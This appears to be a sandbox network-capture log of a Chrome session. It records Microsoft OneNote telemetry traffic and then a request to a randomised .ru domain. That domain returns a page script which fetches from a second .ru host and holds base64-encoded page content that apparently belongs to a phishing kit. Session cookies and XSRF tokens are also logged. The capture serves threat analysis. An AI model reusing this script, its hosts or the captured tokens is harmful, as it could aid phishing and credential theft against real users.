2024-04-26 08:00:05 UTC	9148	OUT	Data Raw: 22 3a 5c 22 32 32 31 39 39 2e 35 5c 22 2c 5c 22 53 65 63 75 72 65 43 6f 6e 6e 65 63 74 69 6f 6e 53 74 61 72 74 5c 22 3a 5c 22 32 31 38 30 34 2e 36 5c 22 2c 5c 22 52 65 71 75 65 73 74 53 74 61 72 74 5c 22 3a 5c 22 32 32 31 39 39 2e 39 5c 22 2c 5c 22 52 65 73 70 6f 6e 73 65 53 74 61 72 74 5c 22 3a 5c 22 32 32 34 38 33 2e 39 5c 22 2c 5c 22 52 65 73 70 6f 6e 73 65 45 6e 64 5c 22 3a 5c 22 32 32 34 38 38 2e 34 5c 22 2c 5c 22 44 65 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 5c 22 3a 5c 22 30 5c 22 2c 5c 22 45 6e 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 5c 22 3a 5c 22 30 5c 22 2c 5c 22 54 72 61 6e 73 66 65 72 53 69 7a 65 5c 22 3a 5c 22 33 30 30 5c 22 2c 5c 22 72 65 73 70 6f 6e 73 65 53 74 61 74 75 73 5c 22 3a 5c 22 32 30 30 5c 22 2c 5c 22 54 61 62 6c 65 5c 22 3a 5c 22 Data Ascii: ":\"22199.5\",\"SecureConnectionStart\":\"21804.6\",\"RequestStart\":\"22199.9\",\"ResponseStart\":\"22483.9\",\"ResponseEnd\":\"22488.4\",\"DecodedBodySize\":\"0\",\"EncodedBodySize\":\"0\",\"TransferSize\":\"300\",\"responseStatus\":\"200\",\"Table\":\"
2024-04-26 08:00:06 UTC	1632	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 8dc9ed93-9f7b-4d23-b725-951aeddd5f38 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091C9 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5d&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091C9 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 2B323CB8EF3C44B0B51DCC5D0300CBEA Ref B: MIA301000108035 Ref C: 2024-04-26T08:00:05Z Date: Fri, 26 Apr 2024 08:00:05 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50013	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:06 UTC	1173	OUT	POST /o/RemoteUls.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&officeserverversion=20240424.1 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 301 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
2024-04-26 08:00:06 UTC	301	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 34 31 31 38 33 38 39 36 31 37 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 31 36 31 35 37 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 76 69 73 69 62 6c 65 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 31 36 31 36 35 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 68 69 64 64 65 6e 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 64 31 39 65 Data Ascii: {"T":1714118389617,"L":[{"G":595957843,"T":16157,"M":"Page lifecycle: VisibilityChange_visible fired, flushing logger","C":379,"D":50},{"G":595957843,"T":16165,"M":"Page lifecycle: VisibilityChange_hidden fired, flushing logger","C":379,"D":50}],"S":"d19e
2024-04-26 08:00:07 UTC	4401	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 6547f30b-e27b-478f-bb69-9aed506f5ee8 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: BN3PEPF00001F78 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usigroups-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,845836085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5b&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BN3PEPF00001F78 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 63C614B372034FC8BEA859367C21BB23 Ref B: MIA301000104051 Ref C: 2024-04-26T08:00:07Z Date: Fri, 26 Apr 2024 08:00:06 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50014	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:07 UTC	888	OUT	GET /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
2024-04-26 08:00:07 UTC	4294	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 5ea166ec-de1f-477a-9cac-c871194244e8 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091BB X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,845836085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5a&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091BB X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wordslice,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 13826C8C93B542ED88D159A9AFCBF19C Ref B: MIA301000102025 Ref C: 2024-04-26T08:00:07Z Date: Fri, 26 Apr 2024 08:00:06 GMT Connection: close
2024-04-26 08:00:07 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50016	172.67.173.130	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:08 UTC	1369	OUT	GET /1L9z9v39/ HTTP/1.1 Host: 4odq.cxnev1.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InFNR1c0ZU5jUjJqZkRoa3NtcU1jaXc9PSIsInZhbHVlIjoia2hKZ2JIWXVkaGF3VzZsbFBuVS9sOTRJdVdEY3BsclFYdVVTMGI4RnlXSUJVOUhSMEN1SnNCTUlKdTNBemxrVVlEOFFVMEdTNm5vMjlmbjNDVXErYWcvQ1VtdEFzN3pOY3hWUkdETWRGb2QxbEpPdzhLMFZNQURqc0E5WTB6YnMiLCJtYWMiOiIxZDFhYjFlYjA3NTNkYzhlYmEyYmIzMWYyNDFmY2VjOWNiMmFiOGVkN2Q2NjAwZDUzNzA1MDc4NGExMDYzMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhrZjdLYW93U2E3akpXYXc2REdBSmc9PSIsInZhbHVlIjoiaFQ5UVVJZnc3a0UwbVVyMHR1cElRKzlsUUEybGRNajgrelJQV3kyN01CYmVzSmYwazlIK2NMMXVYK2J6WUxnY1lKc0VsUTFtdHZVQkRyUUcvd2Y1RE14WDl2NjVQSXdmS0J5c211Z0UwcXJmSWxzcWRFVWNVZjYrVEtxaHEyS1YiLCJtYWMiOiJmNTRjMDkzMWM2YTZmYTczMDFjN2ZjZWFhOTA5NDkyMTNmZTYwN2NlMGRkNjYyMWNhYTVmZGQ2YmJhNzc5N2Q2IiwidGFnIjoiIn0%3D
2024-04-26 08:00:09 UTC	1001	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 08:00:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XOZlar%2BpQRIngaroumuGkIyKrljUfrvKOn0IXeS3uhEQhv0e1iZJ2M2vwY8AvP0vuarX6dJDDQoIZgJAuIVvyfvD3NGLHiHDX5ADl7THuCHHIcKjFPK3LlxD9UBm3w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6Ikw5MkRiK0x2ZDg1UW1ha2xmb1BSRUE9PSIsInZhbHVlIjoiTmE2Q0ZBVTBvbTJHUEJCMVduNWx4UG1CZmg4Um5GeXNlWHIrRGNDcmZvNGZwRll0V0d1N1A3RDBUUFhzQ3J4SW9neGRGdTNnSWtFUThRdWFFVWxSa05HNDI4QVQwaE84YnJEVSs5NW9wU1Y0TzBrSGFjNGRtMk5XclJnOU1GTVAiLCJtYWMiOiJiYjdhYWE5ZDJiMTljNzJkYWI3NzdhZTQxODRmYWJhYjZlN2M5M2VmZDk1NzRmYzkyYmYwYmVmNWZkMDg4ZjZkIiwidGFnIjoiIn0%3D; expires=Fri, 26-Apr-2024 10:00:09 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-26 08:00:09 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 70 33 4b 79 39 4d 61 6c 46 73 5a 6c 70 7a 64 55 45 72 4c 32 39 70 63 7a 41 35 53 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 52 58 6c 6f 64 54 46 58 55 57 39 31 55 55 31 4a 64 6c 56 76 65 6b 39 75 52 44 59 32 52 47 5a 4d 4e 32 31 4b 57 54 42 56 56 45 35 6a 59 6d 78 35 4d 44 68 51 54 47 4a 35 65 56 52 48 59 6b 52 75 4e 56 70 49 51 6d 52 71 4d 30 64 46 5a 6c 68 72 4e 6e 4a 42 53 6d 6b 35 54 33 70 6c 64 45 6c 70 4e 55 59 78 62 30 64 50 4d 31 45 31 63 33 64 50 53 45 74 6a 4e 30 63 30 4f 57 51 31 56 6e 56 53 56 30 5a 4b 61 6e 42 6e 55 58 68 31 4e 6c 63 31 52 6e 4a 56 53 55 52 45 4f 57 52 4f 55 6e 4e 6a 56 53 74 6e 51 6b 52 48 56 6b 38 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Imp3Ky9MalFsZlpzdUErL29pczA5SFE9PSIsInZhbHVlIjoiRXlodTFXUW91UU1JdlVvek9uRDY2RGZMN21KWTBVVE5jYmx5MDhQTGJ5eVRHYkRuNVpIQmRqM0dFZlhrNnJBSmk5T3pldElpNUYxb0dPM1E1c3dPSEtjN0c0OWQ1VnVSV0ZKanBnUXh1Nlc1RnJVSUREOWROUnNjVStnQkRHVk8
2024-04-26 08:00:09 UTC	1369	IN	Data Raw: 31 62 31 64 0d 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 65 74 63 68 28 27 68 74 74 70 73 3a 2f 2f 46 64 45 78 61 2e 6e 68 6f 6c 2e 72 75 2f 77 67 77 65 63 75 79 72 6a 79 6e 62 64 6f 69 61 79 6b 70 6e 62 76 6d 6e 58 59 45 54 56 59 4f 4c 57 49 43 4a 4e 4e 50 52 4d 41 59 4c 4b 4f 4f 4e 44 41 56 53 54 4e 27 2c 20 7b 0d 0a 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0d 0a 7d 29 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 7b 0d 0a 72 65 74 75 72 6e 20 72 65 73 70 6f 6e 73 65 2e 74 65 78 74 28 29 0d 0a 7d 29 2e 74 68 65 6e 28 74 65 78 74 20 3d 3e 20 7b 0d 0a 69 66 28 74 65 78 74 20 3d 3d 20 30 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 Data Ascii: 1b1d<style>body { margin: 0;}</style><script>fetch('https://FdExa.nhol.ru/wgwecuyrjynbdoiaykpnbvmnXYETVYOLWICJNNPRMAYLKOONDAVSTN', {method: "GET",}).then(response => {return response.text()}).then(text => {if(text == 0){document.w
2024-04-26 08:00:09 UTC	1369	IN	Data Raw: 57 64 7a 55 47 45 69 4c 43 4a 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 56 47 46 70 49 45 78 6c 49 69 77 69 54 57 6c 6a 63 6d 39 7a 62 32 5a 30 49 46 6c 70 49 45 4a 68 61 58 52 70 49 69 77 69 54 57 39 75 5a 32 39 73 61 57 46 75 49 45 4a 68 61 58 52 70 49 69 77 69 54 56 59 67 51 6d 39 73 61 53 49 73 49 6b 31 35 59 57 35 74 59 58 49 67 56 47 56 34 64 43 49 73 49 6b 4e 68 62 57 4a 79 61 57 45 67 54 57 46 30 61 43 49 37 44 51 70 39 44 51 70 69 62 32 52 35 49 48 73 4e 43 69 41 67 59 6d 46 6a 61 32 64 79 62 33 56 75 5a 43 31 6a 62 32 78 76 63 6a 6f 67 49 32 5a 6d 5a 6a 73 4e 43 69 41 67 61 47 56 70 5a 32 68 30 4f 69 41 78 4d 44 41 6c 4f 77 30 4b 49 43 42 76 64 6d 56 79 5a 6d 78 76 64 7a 6f 67 61 47 6c 6b 5a 47 56 75 4f 77 30 4b 66 51 30 4b 49 33 42 5a 52 55 4a 42 Data Ascii: WdzUGEiLCJNaWNyb3NvZnQgVGFpIExlIiwiTWljcm9zb2Z0IFlpIEJhaXRpIiwiTW9uZ29saWFuIEJhaXRpIiwiTVYgQm9saSIsIk15YW5tYXIgVGV4dCIsIkNhbWJyaWEgTWF0aCI7DQp9DQpib2R5IHsNCiAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsNCiAgaGVpZ2h0OiAxMDAlOw0KICBvdmVyZmxvdzogaGlkZGVuOw0KfQ0KI3BZRUJB
2024-04-26 08:00:09 UTC	1369	IN	Data Raw: 42 74 5a 57 52 70 59 53 41 6f 62 57 6c 75 4c 58 64 70 5a 48 52 6f 4f 6a 6b 35 4d 6e 42 34 4b 58 73 4e 43 69 4e 77 57 55 56 43 51 57 4a 56 61 6b 31 61 49 43 35 6a 62 32 77 74 62 47 63 74 4e 48 74 6d 62 47 56 34 4f 6a 41 67 4d 43 42 68 64 58 52 76 4f 33 64 70 5a 48 52 6f 4f 6a 4d 7a 4c 6a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4a 54 74 39 44 51 70 39 44 51 6f 6a 63 46 6c 46 51 6b 46 69 56 57 70 4e 57 69 41 75 5a 79 31 79 5a 57 4e 68 63 48 52 6a 61 47 45 67 65 32 52 70 63 33 42 73 59 58 6b 36 49 47 6c 75 62 47 6c 75 5a 53 31 69 62 47 39 6a 61 7a 74 39 44 51 6f 6a 63 46 6c 46 51 6b 46 69 56 57 70 4e 57 69 41 75 5a 47 6c 7a 63 47 78 68 65 53 30 30 49 48 74 6d 62 32 35 30 4c 58 4e 70 65 6d 55 36 49 44 45 75 4d 6a 56 79 5a 57 30 68 61 57 31 77 62 33 4a 30 59 57 35 30 4f Data Ascii: BtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiNwWUVCQWJVak1aIC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojcFlFQkFiVWpNWiAuZy1yZWNhcHRjaGEge2Rpc3BsYXk6IGlubGluZS1ibG9jazt9DQojcFlFQkFiVWpNWiAuZGlzcGxheS00IHtmb250LXNpemU6IDEuMjVyZW0haW1wb3J0YW50O
2024-04-26 08:00:09 UTC	1369	IN	Data Raw: 68 63 48 52 6a 61 47 45 69 49 47 6c 6b 50 53 4a 6e 63 69 49 2b 50 43 39 6b 61 58 59 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 63 47 46 6e 5a 57 78 70 62 6d 73 69 49 47 35 68 62 57 55 39 49 6e 42 68 5a 32 56 73 61 57 35 72 49 69 42 32 59 57 78 31 5a 54 30 69 49 6a 34 4e 43 6a 78 70 62 6e 42 31 64 43 42 30 65 58 42 6c 50 53 4a 6f 61 57 52 6b 5a 57 34 69 49 47 6c 6b 50 53 4a 69 62 48 52 6b 61 58 41 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 70 63 43 49 67 64 6d 46 73 64 57 55 39 49 6a 45 77 4d 69 34 78 4d 6a 6b 75 4d 54 55 79 4c 6a 49 79 4d 43 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 59 6d 78 30 5a 48 4a 6c 5a 69 Data Ascii: 